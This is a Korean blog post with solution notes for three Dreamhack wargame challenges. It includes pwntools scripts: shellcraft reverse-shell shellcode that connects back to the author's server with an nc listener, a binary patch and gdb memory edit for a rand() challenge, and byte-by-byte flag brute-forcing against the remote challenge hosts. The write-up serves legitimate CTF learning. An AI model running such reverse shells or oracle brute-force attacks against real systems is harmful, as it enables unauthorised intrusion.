Blindsc
이런 식으로 stdin, stdout, stderr 가 /dev/null 로 리다이렉션되어있고, shellcode 실행 가능할 때,
reverse shell code 실행하면 된다 => python shellcraft 사용
from pwn import *
p = remote("host3.dreamhack.games", 11938)
context(arch="amd64", os="linux")
shellcode = shellcraft.connect('내 서버 ip', portNUM)
shellcode += shellcraft.findpeersh(portNUM)
sudo service nginx stop
nc -lvnp 80
내 로컬 서버에서는 동작중인 nginx 서버 종료시키고 80번 포트로 listening 시켜두고 reverse shell 연결하면 됨
randzzz
seed 없이 rand() 호출했으므로 리턴값이 실행에 상관없이 동일함
1. 바이너리 패치 통해 sleep(rand()+1) => sleep(1) 로 패치
2. get_flag 함수 호출 시 seconds 입력값 중요 => 하드코딩으로 5,3 패치하거나 gdb 사용
cf) gdb에서 아래 명령어로 값 수정 가능
set *(int *)($rbp-0xc) = 0xAAAA
checkflag
blind SQLI 느낌 문제, 웹+리버싱+포너블 짬뽕?
STEP1. 플래그 길이를 구한다
for i in range(63):
print(i)
p = remote("host3.dreamhack.games", 8990)
payload = b'A'*(63-i)+b'\x00'+b'A'*i+b'A'*(63-i)
p.sendafter("What's the flag? ", payload)
msg = p.recvline()
if b'Correct' in msg:
print("pass")
else:
print("not pass")
p.close()
- i=48에서 not pass 나오기 시작, 플래그 길이는 16임을 확인 가능
STEP2. 플래그를 뒤에서부터 한 바이트씩 구한다
flag = b''
for i in range(16):
for j in range(0x20, 0x7f):
# p = process("./checkflag")
p = remote("host3.dreamhack.games", 13753)
payload = b'A'*(15-i)+bytes([j])+flag+b'\x00'+b'B'*47+b'A'*(15-i)
p.sendafter("What's the flag? ", payload)
if b'Correct' in p.recvline():
flag = bytes([j])+flag
print(flag)
p.close()
break
p.close()
'security > 포너블 - dreamhack' 카테고리의 다른 글
IDA Decompilation failure: call analysis failed 해결법 (0) | 2023.08.06 |
---|---|
[Dreamhack Wargame] iofile_aw (0) | 2023.06.24 |
[Dreamhack Wargame] _IO_FILE Arbitrary Address Write (0) | 2023.06.23 |
[Dreamhack Wargame] _IO_FILE Arbitrary Address Read (0) | 2023.06.23 |
[Dreamhack Wargame] send_sig (0) | 2023.06.23 |